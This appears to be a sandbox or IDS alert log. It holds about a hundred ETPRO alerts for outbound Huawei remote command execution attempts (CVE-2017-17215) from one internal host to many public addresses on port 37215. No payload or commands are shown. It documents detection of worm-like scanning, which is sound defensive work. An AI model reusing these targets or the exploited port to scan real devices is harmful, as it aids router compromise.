ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 218.25.22.207

Timestamp:	2024-07-26T17:42:24.179275+0200
SID:	2835222
Source Port:	58530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.32.97.173

Timestamp:	2024-07-26T17:42:22.892910+0200
SID:	2835222
Source Port:	39182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.59.165.186

Timestamp:	2024-07-26T17:43:32.159241+0200
SID:	2835222
Source Port:	36006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.226.97.244

Timestamp:	2024-07-26T17:43:06.728070+0200
SID:	2835222
Source Port:	37862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.11.38.33

Timestamp:	2024-07-26T17:42:24.256725+0200
SID:	2835222
Source Port:	53276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.222.23.172

Timestamp:	2024-07-26T17:42:45.674969+0200
SID:	2835222
Source Port:	47514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.102.175

Timestamp:	2024-07-26T17:42:30.726500+0200
SID:	2835222
Source Port:	43828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.93.55.208

Timestamp:	2024-07-26T17:42:23.149205+0200
SID:	2835222
Source Port:	45156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.83.92.49

Timestamp:	2024-07-26T17:42:38.992663+0200
SID:	2835222
Source Port:	50404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.156.195.59

Timestamp:	2024-07-26T17:43:32.157918+0200
SID:	2835222
Source Port:	34942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.100.5.155

Timestamp:	2024-07-26T17:42:31.133457+0200
SID:	2835222
Source Port:	41312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 70.185.26.197

Timestamp:	2024-07-26T17:42:38.992660+0200
SID:	2835222
Source Port:	42074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.201.17.178

Timestamp:	2024-07-26T17:42:03.751876+0200
SID:	2835222
Source Port:	35368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.232.167.103

Timestamp:	2024-07-26T17:42:22.901005+0200
SID:	2835222
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.25.241.90

Timestamp:	2024-07-26T17:42:03.751875+0200
SID:	2835222
Source Port:	41296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.165.27.168

Timestamp:	2024-07-26T17:42:24.287043+0200
SID:	2835222
Source Port:	47232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.56.4.197

Timestamp:	2024-07-26T17:42:37.553275+0200
SID:	2835222
Source Port:	53918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.255.32

Timestamp:	2024-07-26T17:42:22.988543+0200
SID:	2835222
Source Port:	48602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.239.10.81

Timestamp:	2024-07-26T17:42:24.287214+0200
SID:	2835222
Source Port:	45746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.181.193.229

Timestamp:	2024-07-26T17:42:33.140380+0200
SID:	2835222
Source Port:	46256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.7.225.229

Timestamp:	2024-07-26T17:43:00.381794+0200
SID:	2835222
Source Port:	45352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.107.15

Timestamp:	2024-07-26T17:42:24.301117+0200
SID:	2835222
Source Port:	35388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 149.76.30.6

Timestamp:	2024-07-26T17:42:22.882411+0200
SID:	2835222
Source Port:	44616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.11.115.242

Timestamp:	2024-07-26T17:42:24.287856+0200
SID:	2835222
Source Port:	48258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.126.69.128

Timestamp:	2024-07-26T17:42:58.929134+0200
SID:	2835222
Source Port:	54730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.119.153.117

Timestamp:	2024-07-26T17:42:22.939719+0200
SID:	2835222
Source Port:	35580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.103.19.122

Timestamp:	2024-07-26T17:42:22.851199+0200
SID:	2835222
Source Port:	56802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.98.34.184

Timestamp:	2024-07-26T17:42:23.602210+0200
SID:	2835222
Source Port:	43328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.91.19.41

Timestamp:	2024-07-26T17:42:54.108108+0200
SID:	2835222
Source Port:	57108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.51.195.161

Timestamp:	2024-07-26T17:43:27.150044+0200
SID:	2835222
Source Port:	35532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.68.254.14

Timestamp:	2024-07-26T17:42:24.294250+0200
SID:	2835222
Source Port:	48372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.114.119.40

Timestamp:	2024-07-26T17:42:24.314164+0200
SID:	2835222
Source Port:	54158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 219.5.156.99

Timestamp:	2024-07-26T17:43:00.683809+0200
SID:	2835222
Source Port:	40098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 79.58.175.126

Timestamp:	2024-07-26T17:43:02.508884+0200
SID:	2835222
Source Port:	60630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.98.163.146

Timestamp:	2024-07-26T17:42:23.545202+0200
SID:	2835222
Source Port:	50666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.185.42.136

Timestamp:	2024-07-26T17:42:24.315912+0200
SID:	2835222
Source Port:	47652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.81.229.144

Timestamp:	2024-07-26T17:43:12.316377+0200
SID:	2835222
Source Port:	43596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.23.152.128

Timestamp:	2024-07-26T17:43:24.642635+0200
SID:	2835222
Source Port:	57276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.219.105

Timestamp:	2024-07-26T17:42:22.900619+0200
SID:	2835222
Source Port:	53240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.83.67.17

Timestamp:	2024-07-26T17:42:38.373747+0200
SID:	2835222
Source Port:	52500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.71.129.80

Timestamp:	2024-07-26T17:42:52.051589+0200
SID:	2835222
Source Port:	53596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.62.98

Timestamp:	2024-07-26T17:43:19.217704+0200
SID:	2835222
Source Port:	58464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 100.55.79.58

Timestamp:	2024-07-26T17:42:24.287386+0200
SID:	2835222
Source Port:	52368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.174.85.211

Timestamp:	2024-07-26T17:42:03.751962+0200
SID:	2835222
Source Port:	35630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.247.185.128

Timestamp:	2024-07-26T17:42:30.737301+0200
SID:	2835222
Source Port:	42754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.31.149

Timestamp:	2024-07-26T17:42:40.413453+0200
SID:	2835222
Source Port:	55800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.126.151.188

Timestamp:	2024-07-26T17:43:22.545985+0200
SID:	2835222
Source Port:	40954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.51.125.96

Timestamp:	2024-07-26T17:43:06.849990+0200
SID:	2835222
Source Port:	45576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.97.140.160

Timestamp:	2024-07-26T17:42:03.751791+0200
SID:	2835222
Source Port:	49236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.206.248.22

Timestamp:	2024-07-26T17:42:38.374387+0200
SID:	2835222
Source Port:	55604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 201.64.179.107

Timestamp:	2024-07-26T17:42:46.352590+0200
SID:	2835222
Source Port:	43118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.225.141

Timestamp:	2024-07-26T17:42:03.752001+0200
SID:	2835222
Source Port:	53628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 112.234.47.50

Timestamp:	2024-07-26T17:42:23.195595+0200
SID:	2835222
Source Port:	53312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 203.47.62.174

Timestamp:	2024-07-26T17:42:35.371539+0200
SID:	2835222
Source Port:	44732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.243.168.49

Timestamp:	2024-07-26T17:42:40.508501+0200
SID:	2835222
Source Port:	38608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.128.66.66

Timestamp:	2024-07-26T17:43:04.722046+0200
SID:	2835222
Source Port:	35848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 137.233.56.245

Timestamp:	2024-07-26T17:42:23.375667+0200
SID:	2835222
Source Port:	49070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.148.102.156

Timestamp:	2024-07-26T17:43:10.559828+0200
SID:	2835222
Source Port:	52402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 171.55.129.35

Timestamp:	2024-07-26T17:43:06.644205+0200
SID:	2835222
Source Port:	36036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.6.72.247

Timestamp:	2024-07-26T17:42:22.944107+0200
SID:	2835222
Source Port:	49132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.130.223.218

Timestamp:	2024-07-26T17:42:23.054845+0200
SID:	2835222
Source Port:	43642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.60.145.81

Timestamp:	2024-07-26T17:42:22.963256+0200
SID:	2835222
Source Port:	59738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 138.28.99.233

Timestamp:	2024-07-26T17:43:26.551133+0200
SID:	2835222
Source Port:	46002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 40.39.152.50

Timestamp:	2024-07-26T17:43:32.154781+0200
SID:	2835222
Source Port:	56376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.89.175

Timestamp:	2024-07-26T17:42:24.287467+0200
SID:	2835222
Source Port:	34038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.0.100.220

Timestamp:	2024-07-26T17:42:24.287595+0200
SID:	2835222
Source Port:	33722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.136.190.153

Timestamp:	2024-07-26T17:43:32.173820+0200
SID:	2835222
Source Port:	37874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.19.17.33

Timestamp:	2024-07-26T17:42:33.042697+0200
SID:	2835222
Source Port:	38730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.14.180

Timestamp:	2024-07-26T17:42:51.609064+0200
SID:	2835222
Source Port:	50856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 125.110.221.76

Timestamp:	2024-07-26T17:43:32.317143+0200
SID:	2835222
Source Port:	55208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.45.159.210

Timestamp:	2024-07-26T17:42:52.051458+0200
SID:	2835222
Source Port:	47638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 202.201.192.159

Timestamp:	2024-07-26T17:42:23.379714+0200
SID:	2835222
Source Port:	38850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.200.103.112

Timestamp:	2024-07-26T17:42:56.351153+0200
SID:	2835222
Source Port:	50364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.102.130.238

Timestamp:	2024-07-26T17:42:23.037958+0200
SID:	2835222
Source Port:	56274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.136.46

Timestamp:	2024-07-26T17:43:32.176089+0200
SID:	2835222
Source Port:	44444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 153.165.94.27

Timestamp:	2024-07-26T17:42:56.990706+0200
SID:	2835222
Source Port:	46810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 101.21.16.213

Timestamp:	2024-07-26T17:42:24.293059+0200
SID:	2835222
Source Port:	45806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.196.46.101

Timestamp:	2024-07-26T17:42:24.179292+0200
SID:	2835222
Source Port:	35326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.74.205.49

Timestamp:	2024-07-26T17:43:10.500954+0200
SID:	2835222
Source Port:	46022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.203.142.252

Timestamp:	2024-07-26T17:42:47.925389+0200
SID:	2835222
Source Port:	60940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.50.8.107

Timestamp:	2024-07-26T17:42:54.104305+0200
SID:	2835222
Source Port:	33434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 153.15.187.13

Timestamp:	2024-07-26T17:42:24.287042+0200
SID:	2835222
Source Port:	50956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.131.83.80

Timestamp:	2024-07-26T17:42:22.848943+0200
SID:	2835222
Source Port:	47726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.143.15.18

Timestamp:	2024-07-26T17:42:22.859475+0200
SID:	2835222
Source Port:	37242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.51.89.254

Timestamp:	2024-07-26T17:42:24.302989+0200
SID:	2835222
Source Port:	48720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.16.27.201

Timestamp:	2024-07-26T17:42:52.051416+0200
SID:	2835222
Source Port:	44004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.205.85

Timestamp:	2024-07-26T17:42:03.751831+0200
SID:	2835222
Source Port:	34650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.223.221.123

Timestamp:	2024-07-26T17:42:37.657528+0200
SID:	2835222
Source Port:	55560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.32.146

Timestamp:	2024-07-26T17:43:04.861870+0200
SID:	2835222
Source Port:	47946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.168.72.2

Timestamp:	2024-07-26T17:43:22.185652+0200
SID:	2835222
Source Port:	38764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 81.235.78.84

Timestamp:	2024-07-26T17:42:27.000927+0200
SID:	2835222
Source Port:	53690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.170.149.230

Timestamp:	2024-07-26T17:42:56.990919+0200
SID:	2835222
Source Port:	32874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.128.239.158

Timestamp:	2024-07-26T17:42:32.923596+0200
SID:	2835222
Source Port:	40660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.174.15.225

Timestamp:	2024-07-26T17:42:32.927145+0200
SID:	2835222
Source Port:	40074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.153.251.205

Timestamp:	2024-07-26T17:42:40.644350+0200
SID:	2835222
Source Port:	41618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.99.99.134

Timestamp:	2024-07-26T17:42:22.852003+0200
SID:	2835222
Source Port:	43240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.232.108.103

Timestamp:	2024-07-26T17:42:03.752052+0200
SID:	2835222
Source Port:	50902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.176.96.186

Timestamp:	2024-07-26T17:42:44.139346+0200
SID:	2835222
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.203.95.24

Timestamp:	2024-07-26T17:42:56.281857+0200
SID:	2835222
Source Port:	49604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

